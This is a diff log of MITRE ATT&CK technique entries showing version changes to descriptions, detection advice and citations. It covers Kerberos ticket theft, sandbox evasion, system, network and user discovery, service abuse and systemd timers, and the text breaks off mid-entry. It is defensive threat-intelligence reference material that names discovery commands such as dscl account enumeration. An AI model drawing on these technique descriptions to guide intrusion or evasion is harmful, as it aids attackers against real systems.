| external_references[9]['description'] | French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019. | Massachusetts Institute of Technology. (2007, October 27). Kerberos for Macintosh Preferences Documentation. Retrieved October 6, 2021. |
| external_references[9]['url'] | https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea | http://web.mit.edu/macdev/KfM/Common/Documentation/preferences.html |
| x_mitre_detection | Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within ticket granting tickets (TGTs), and ticket granting service (TGS) requests without preceding TGT requests.(Citation: ADSecurity Detecting Forged Tickets)(Citation: Stealthbits Detect PtT 2019)(Citation: CERT-EU Golden Ticket Protection) Monitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket) Monitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) being used to move laterally. Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018) (Citation: AdSecurity Cracking Kerberos Dec 2015) Monitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored. | Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within ticket granting tickets (TGTs), and ticket granting service (TGS) requests without preceding TGT requests.(Citation: ADSecurity Detecting Forged Tickets)(Citation: Stealthbits Detect PtT 2019)(Citation: CERT-EU Golden Ticket Protection)
Monitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket)
Monitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) being used to move laterally.
Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018) (Citation: AdSecurity Cracking Kerberos Dec 2015)
Monitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored.
Monitor for unusual processes accessing secrets.ldb and .secrets.mkey located in /var/lib/sss/secrets/. |
| x_mitre_version | 1.2 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ADSecurity Detecting Forged Tickets', 'description': 'Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.', 'url': 'https://adsecurity.org/?p=1515'} | |
| external_references | {'source_name': 'Stealthbits Detect PtT 2019', 'description': 'Jeff Warren. (2019, February 19). How to Detect Pass-the-Ticket Attacks. Retrieved February 27, 2020.', 'url': 'https://blog.stealthbits.com/detect-pass-the-ticket-attacks'} | |
| external_references | {'source_name': 'CERT-EU Golden Ticket Protection', 'description': 'Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.', 'url': 'https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf'} | |
| external_references | {'source_name': 'Microsoft Kerberos Golden Ticket', 'description': 'Microsoft. (2015, March 24). Kerberos Golden Ticket Check (Updated). Retrieved February 27, 2020.', 'url': 'https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285'} | |
| external_references | {'source_name': 'Microsoft Detecting Kerberoasting Feb 2018', 'description': 'Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.', 'url': 'https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/'} | |
| external_references | {'source_name': 'AdSecurity Cracking Kerberos Dec 2015', 'description': 'Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.', 'url': 'https://adsecurity.org/?p=2293'} | |
| external_references | {'source_name': 'Medium Detecting Attempts to Steal Passwords from Memory', 'description': 'French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.', 'url': 'https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea'} | |
| x_mitre_data_sources | File: File Access | |
| x_mitre_data_sources | Command: Command Execution | |
| x_mitre_platforms | Linux | |
| x_mitre_platforms | macOS |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 19:24:20.350000+00:00 | 2021-10-15 16:46:56.760000+00:00 |
| x_mitre_data_sources[0] | File: File Content | File: File Metadata |
| x_mitre_detection | Detection of steganography is difficult unless artifacts are left behind by the obfuscation process that are detectable with a known signature. Look for strings are other signatures left in system artifacts related to decoding steganography. | Detection of steganography is difficult unless artifacts are left behind by the obfuscation process that are detectable with a known signature. Look for strings or other signatures left in system artifacts related to decoding steganography. |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-26 15:41:39.612000+00:00 | 2021-10-14 21:18:32.225000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 2.1
Version changed from: 2.0 → 2.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may employ various system checks to detect and a | t | 1 | Adversaries may employ various system checks to detect and a |
| > | void virtualization and analysis environments. This may incl | > | void virtualization and analysis environments. This may incl | ||
| > | ude changing behaviors based on the results of checks for th | > | ude changing behaviors based on the results of checks for th | ||
| > | e presence of artifacts indicative of a virtual machine envi | > | e presence of artifacts indicative of a virtual machine envi | ||
| > | ronment (VME) or sandbox. If the adversary detects a VME, th | > | ronment (VME) or sandbox. If the adversary detects a VME, th | ||
| > | ey may alter their malware to disengage from the victim or c | > | ey may alter their malware to disengage from the victim or c | ||
| > | onceal the core functions of the implant. They may also sear | > | onceal the core functions of the implant. They may also sear | ||
| > | ch for VME artifacts before dropping secondary or additional | > | ch for VME artifacts before dropping secondary or additional | ||
| > | payloads. Adversaries may use the information learned from | > | payloads. Adversaries may use the information learned from | ||
| > | [Virtualization/Sandbox Evasion](https://attack.mitre.org/te | > | [Virtualization/Sandbox Evasion](https://attack.mitre.org/te | ||
| > | chniques/T1497) during automated discovery to shape follow-o | > | chniques/T1497) during automated discovery to shape follow-o | ||
| > | n behaviors. Specific checks will vary based on the target | > | n behaviors.(Citation: Deloitte Environment Awareness) Spec | ||
| > | and/or adversary, but may involve behaviors such as [Window | > | ific checks will vary based on the target and/or adversary, | ||
| > | s Management Instrumentation](https://attack.mitre.org/techn | > | but may involve behaviors such as [Windows Management Instru | ||
| > | iques/T1047), [PowerShell](https://attack.mitre.org/techniqu | > | mentation](https://attack.mitre.org/techniques/T1047), [Powe | ||
| > | es/T1059/001), [System Information Discovery](https://attack | > | rShell](https://attack.mitre.org/techniques/T1059/001), [Sys | ||
| > | .mitre.org/techniques/T1082), and [Query Registry](https://a | > | tem Information Discovery](https://attack.mitre.org/techniqu | ||
| > | ttack.mitre.org/techniques/T1012) to obtain system informati | > | es/T1082), and [Query Registry](https://attack.mitre.org/tec | ||
| > | on and search for VME artifacts. Adversaries may search for | > | hniques/T1012) to obtain system information and search for V | ||
| > | VME artifacts in memory, processes, file system, hardware, a | > | ME artifacts. Adversaries may search for VME artifacts in me | ||
| > | nd/or the Registry. Adversaries may use scripting to automat | > | mory, processes, file system, hardware, and/or the Registry. | ||
| > | e these checks into one script and then have the program ex | > | Adversaries may use scripting to automate these checks int | ||
| > | it if it determines the system to be a virtual environment. | > | o one script and then have the program exit if it determines | ||
| > | Checks could include generic system properties such as hos | > | the system to be a virtual environment. Checks could incl | ||
| > | t/domain name and samples of network traffic. Adversaries ma | > | ude generic system properties such as host/domain name and s | ||
| > | y also check the network adapters addresses, CPU core count, | > | amples of network traffic. Adversaries may also check the ne | ||
| > | and available memory/drive size. Other common checks may | > | twork adapters addresses, CPU core count, and available memo | ||
| > | enumerate services running that are unique to these applicat | > | ry/drive size. Other common checks may enumerate services | ||
| > | ions, installed programs on the system, manufacturer/product | > | running that are unique to these applications, installed pro | ||
| > | fields for strings relating to virtual machine applications | > | grams on the system, manufacturer/product fields for strings | ||
| > | , and VME-specific hardware/processor instructions.(Citation | > | relating to virtual machine applications, and VME-specific | ||
| > | : McAfee Virtual Jan 2017) In applications like VMWare, adve | > | hardware/processor instructions.(Citation: McAfee Virtual Ja | ||
| > | rsaries can also use a special I/O port to send commands and | > | n 2017) In applications like VMWare, adversaries can also us | ||
| > | receive output. Hardware checks, such as the presence of | > | e a special I/O port to send commands and receive output. | ||
| > | the fan, temperature, and audio devices, could also be used | > | Hardware checks, such as the presence of the fan, temperatu | ||
| > | to gather evidence that can be indicative a virtual environ | > | re, and audio devices, could also be used to gather evidence | ||
| > | ment. Adversaries may also query for specific readings from | > | that can be indicative a virtual environment. Adversaries m | ||
| > | these devices.(Citation: Unit 42 OilRig Sept 2018) | > | ay also query for specific readings from these devices.(Cita | ||
| > | tion: Unit 42 OilRig Sept 2018) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-21 15:16:10.604000+00:00 | 2021-10-18 14:57:07.973000+00:00 |
| description | Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors. Specific checks will vary based on the target and/or adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1059/001), [System Information Discovery](https://attack.mitre.org/techniques/T1082), and [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment. Checks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. Other common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output. Hardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018) | Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness) Specific checks will vary based on the target and/or adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1059/001), [System Information Discovery](https://attack.mitre.org/techniques/T1082), and [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment. Checks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. Other common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output. Hardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018) |
| external_references[1]['source_name'] | McAfee Virtual Jan 2017 | Deloitte Environment Awareness |
| external_references[1]['description'] | Roccia, T. (2017, January 19). Stopping Malware With a Fake Virtual Machine. Retrieved April 17, 2019. | Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021. |
| external_references[1]['url'] | https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/stopping-malware-fake-virtual-machine/ | https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc |
| external_references[2]['source_name'] | Unit 42 OilRig Sept 2018 | McAfee Virtual Jan 2017 |
| external_references[2]['description'] | Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018. | Roccia, T. (2017, January 19). Stopping Malware With a Fake Virtual Machine. Retrieved April 17, 2019. |
| external_references[2]['url'] | https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/ | https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/stopping-malware-fake-virtual-machine/ |
| x_mitre_version | 2.0 | 2.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Unit 42 OilRig Sept 2018', 'description': 'Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.', 'url': 'https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/'} |
Current version: 2.3
Version changed from: 2.2 → 2.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary may attempt to get detailed information about t | t | 1 | An adversary may attempt to get detailed information about t |
| > | he operating system and hardware, including version, patches | > | he operating system and hardware, including version, patches | ||
| > | , hotfixes, service packs, and architecture. Adversaries may | > | , hotfixes, service packs, and architecture. Adversaries may | ||
| > | use the information from [System Information Discovery](htt | > | use the information from [System Information Discovery](htt | ||
| > | ps://attack.mitre.org/techniques/T1082) during automated dis | > | ps://attack.mitre.org/techniques/T1082) during automated dis | ||
| > | covery to shape follow-on behaviors, including whether or no | > | covery to shape follow-on behaviors, including whether or no | ||
| > | t the adversary fully infects the target and/or attempts spe | > | t the adversary fully infects the target and/or attempts spe | ||
| > | cific actions. Tools such as [Systeminfo](https://attack.mi | > | cific actions. Tools such as [Systeminfo](https://attack.mi | ||
| > | tre.org/software/S0096) can be used to gather detailed syste | > | tre.org/software/S0096) can be used to gather detailed syste | ||
| > | m information. A breakdown of system data can also be gather | > | m information. If running with privileged access, a breakdow | ||
| > | ed through the macOS <code>systemsetup</code> command, but i | > | n of system data can be gathered through the <code>systemset | ||
| > | t requires administrative privileges. Infrastructure as a S | > | up</code> configuration tool on macOS. As an example, advers | ||
| > | ervice (IaaS) cloud providers such as AWS, GCP, and Azure al | > | aries with user-level access can execute the <code>df -aH</c | ||
| > | low access to instance and virtual machine information via A | > | ode> command to obtain currently mounted disks and associate | ||
| > | PIs. Successful authenticated API calls can return data such | > | d freely available space. [System Information Discovery](htt | ||
| > | as the operating system platform and status of a particular | > | ps://attack.mitre.org/techniques/T1082) combined with inform | ||
| > | instance or the model view of a virtual machine.(Citation: | > | ation gathered from other forms of discovery and reconnaissa | ||
| > | Amazon Describe Instance)(Citation: Google Instances Resourc | > | nce can drive payload development and concealment.(Citation: | ||
| > | e)(Citation: Microsoft Virutal Machine API) | > | OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniqu | ||
| > | es) Infrastructure as a Service (IaaS) cloud providers such | ||||
| > | as AWS, GCP, and Azure allow access to instance and virtual | ||||
| > | machine information via APIs. Successful authenticated API | ||||
| > | calls can return data such as the operating system platform | ||||
| > | and status of a particular instance or the model view of a v | ||||
| > | irtual machine.(Citation: Amazon Describe Instance)(Citation | ||||
| > | : Google Instances Resource)(Citation: Microsoft Virutal Mac | ||||
| > | hine API) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-03-08 10:33:01.066000+00:00 | 2021-10-13 23:21:27.750000+00:00 |
| description | An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. A breakdown of system data can also be gathered through the macOS systemsetup command, but it requires administrative privileges.
Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API) | An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. As an example, adversaries with user-level access can execute the df -aH command to obtain currently mounted disks and associated freely available space. [System Information Discovery](https://attack.mitre.org/techniques/T1082) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques)
Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API) |
| external_references[2]['source_name'] | Amazon Describe Instance | OSX.FairyTale |
| external_references[2]['description'] | Amazon. (n.d.). describe-instance-information. Retrieved March 3, 2020. | Phile Stokes. (2018, September 20). On the Trail of OSX.FairyTale | Adware Playing at Malware. Retrieved August 24, 2021. |
| external_references[2]['url'] | https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html | https://www.sentinelone.com/blog/trail-osx-fairytale-adware-playing-malware/ |
| external_references[3]['source_name'] | Google Instances Resource | 20 macOS Common Tools and Techniques |
| external_references[3]['description'] | Google. (n.d.). Rest Resource: instance. Retrieved March 3, 2020. | Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021. |
| external_references[3]['url'] | https://cloud.google.com/compute/docs/reference/rest/v1/instances | https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/ |
| external_references[4]['source_name'] | Microsoft Virutal Machine API | Amazon Describe Instance |
| external_references[4]['description'] | Microsoft. (2019, March 1). Virtual Machines - Get. Retrieved October 8, 2019. | Amazon. (n.d.). describe-instance-information. Retrieved March 3, 2020. |
| external_references[4]['url'] | https://docs.microsoft.com/en-us/rest/api/compute/virtualmachines/get | https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html |
| x_mitre_version | 2.2 | 2.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Google Instances Resource', 'description': 'Google. (n.d.). Rest Resource: instance. Retrieved March 3, 2020.', 'url': 'https://cloud.google.com/compute/docs/reference/rest/v1/instances'} | |
| external_references | {'source_name': 'Microsoft Virutal Machine API', 'description': 'Microsoft. (2019, March 1). Virtual Machines - Get. Retrieved October 8, 2019.', 'url': 'https://docs.microsoft.com/en-us/rest/api/compute/virtualmachines/get'} | |
| x_mitre_contributors | Maril Vernon @shewhohacks |
Current version: 1.3
Version changed from: 1.2 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may look for details about the network configura | t | 1 | Adversaries may look for details about the network configura |
| > | tion and settings of systems they access or through informat | > | tion and settings, such as IP and/or MAC addresses, of syste | ||
| > | ion discovery of remote systems. Several operating system ad | > | ms they access or through information discovery of remote sy | ||
| > | ministration utilities exist that can be used to gather this | > | stems. Several operating system administration utilities exi | ||
| > | information. Examples include [Arp](https://attack.mitre.or | > | st that can be used to gather this information. Examples inc | ||
| > | g/software/S0099), [ipconfig](https://attack.mitre.org/softw | > | lude [Arp](https://attack.mitre.org/software/S0099), [ipconf | ||
| > | are/S0100)/[ifconfig](https://attack.mitre.org/software/S010 | > | ig](https://attack.mitre.org/software/S0100)/[ifconfig](http | ||
| > | 1), [nbtstat](https://attack.mitre.org/software/S0102), and | > | s://attack.mitre.org/software/S0101), [nbtstat](https://atta | ||
| > | [route](https://attack.mitre.org/software/S0103). Adversari | > | ck.mitre.org/software/S0102), and [route](https://attack.mit | ||
| > | es may use the information from [System Network Configuratio | > | re.org/software/S0103). Adversaries may use the information | ||
| > | n Discovery](https://attack.mitre.org/techniques/T1016) duri | > | from [System Network Configuration Discovery](https://attac | ||
| > | ng automated discovery to shape follow-on behaviors, includi | > | k.mitre.org/techniques/T1016) during automated discovery to | ||
| > | ng whether or not the adversary fully infects the target and | > | shape follow-on behaviors, including determining certain acc | ||
| > | /or attempts specific actions. | > | ess within the target network and what actions to do next. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-24 13:13:49.594000+00:00 | 2021-10-08 00:17:37.881000+00:00 |
| description | Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103). Adversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. | Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103). Adversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next. |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to identify the primary user, curren | t | 1 | Adversaries may attempt to identify the primary user, curren |
| > | tly logged in user, set of users that commonly uses a system | > | tly logged in user, set of users that commonly uses a system | ||
| > | , or whether a user is actively using the system. They may d | > | , or whether a user is actively using the system. They may d | ||
| > | o this, for example, by retrieving account usernames or by u | > | o this, for example, by retrieving account usernames or by u | ||
| > | sing [OS Credential Dumping](https://attack.mitre.org/techni | > | sing [OS Credential Dumping](https://attack.mitre.org/techni | ||
| > | ques/T1003). The information may be collected in a number of | > | ques/T1003). The information may be collected in a number of | ||
| > | different ways using other Discovery techniques, because us | > | different ways using other Discovery techniques, because us | ||
| > | er and username details are prevalent throughout a system an | > | er and username details are prevalent throughout a system an | ||
| > | d include running process ownership, file/directory ownershi | > | d include running process ownership, file/directory ownershi | ||
| > | p, session information, and system logs. Adversaries may use | > | p, session information, and system logs. Adversaries may use | ||
| > | the information from [System Owner/User Discovery](https:// | > | the information from [System Owner/User Discovery](https:// | ||
| > | attack.mitre.org/techniques/T1033) during automated discover | > | attack.mitre.org/techniques/T1033) during automated discover | ||
| > | y to shape follow-on behaviors, including whether or not the | > | y to shape follow-on behaviors, including whether or not the | ||
| > | adversary fully infects the target and/or attempts specific | > | adversary fully infects the target and/or attempts specific | ||
| > | actions. Utilities and commands that acquire this informat | > | actions. Various utilities and commands may acquire this i | ||
| > | ion include <code>whoami</code>. In Mac and Linux, the curre | > | nformation, including <code>whoami</code>. In macOS and Linu | ||
| > | ntly logged in user can be identified with <code>w</code> an | > | x, the currently logged in user can be identified with <code | ||
| > | d <code>who</code>. | > | >w</code> and <code>who</code>. On macOS the <code>dscl . li | ||
| > | st /Users | grep -v '_'</code> command can also be used to e | ||||
| > | numerate user accounts. Environment variables, such as <code | ||||
| > | >%USERNAME%</code> and <code>$USER</code>, may also be used | ||||
| > | to access this information. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-15 01:03:47.866000+00:00 | 2021-08-12 13:34:34.153000+00:00 |
| description | Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Utilities and commands that acquire this information include whoami. In Mac and Linux, the currently logged in user can be identified with w and who. | Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Various utilities and commands may acquire this information, including whoami. In macOS and Linux, the currently logged in user can be identified with w and who. On macOS the dscl . list /Users | grep -v '_' command can also be used to enumerate user accounts. Environment variables, such as %USERNAME% and $USER, may also be used to access this information. |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-15 01:05:08.805000+00:00 | 2021-10-17 14:10:36.992000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | macOS |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse system services or daemons to execute | t | 1 | Adversaries may abuse system services or daemons to execute |
| > | commands or programs. Adversaries can execute malicious cont | > | commands or programs. Adversaries can execute malicious cont | ||
| > | ent by interacting with or creating services. Many services | > | ent by interacting with or creating services either locally | ||
| > | are set to run at boot, which can aid in achieving persisten | > | or remotely. Many services are set to run at boot, which can | ||
| > | ce ([Create or Modify System Process](https://attack.mitre.o | > | aid in achieving persistence ([Create or Modify System Proc | ||
| > | rg/techniques/T1543)), but adversaries can also abuse servic | > | ess](https://attack.mitre.org/techniques/T1543)), but advers | ||
| > | es for one-time or temporary execution. | > | aries can also abuse services for one-time or temporary exec | ||
| > | ution. | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_remote_support | True |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-08 23:28:29.250000+00:00 | 2021-10-15 18:40:23.888000+00:00 |
| description | Adversaries may abuse system services or daemons to execute commands or programs. Adversaries can execute malicious content by interacting with or creating services. Many services are set to run at boot, which can aid in achieving persistence ([Create or Modify System Process](https://attack.mitre.org/techniques/T1543)), but adversaries can also abuse services for one-time or temporary execution. | Adversaries may abuse system services or daemons to execute commands or programs. Adversaries can execute malicious content by interacting with or creating services either locally or remotely. Many services are set to run at boot, which can aid in achieving persistence ([Create or Modify System Process](https://attack.mitre.org/techniques/T1543)), but adversaries can also abuse services for one-time or temporary execution. |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse systemd timers to perform task schedul | t | 1 | Adversaries may abuse systemd timers to perform task schedul |
| > | ing for initial or recurring execution of malicious code. Sy | > | ing for initial or recurring execution of malicious code. Sy | ||
| > | stemd timers are unit files with file extension <code>.timer | > | stemd timers are unit files with file extension <code>.timer | ||
| > | </code> that control services. Timers can be set to run on a | > | </code> that control services. Timers can be set to run on a | ||
| > | calendar event or after a time span relative to a starting | > | calendar event or after a time span relative to a starting | ||
| > | point. They can be used as an alternative to [Cron](https:// | > | point. They can be used as an alternative to [Cron](https:// | ||
| > | attack.mitre.org/techniques/T1053/003) in Linux environments | > | attack.mitre.org/techniques/T1053/003) in Linux environments | ||
| > | .(Citation: archlinux Systemd Timers Aug 2020) Each <code>. | > | .(Citation: archlinux Systemd Timers Aug 2020) Systemd timer | ||
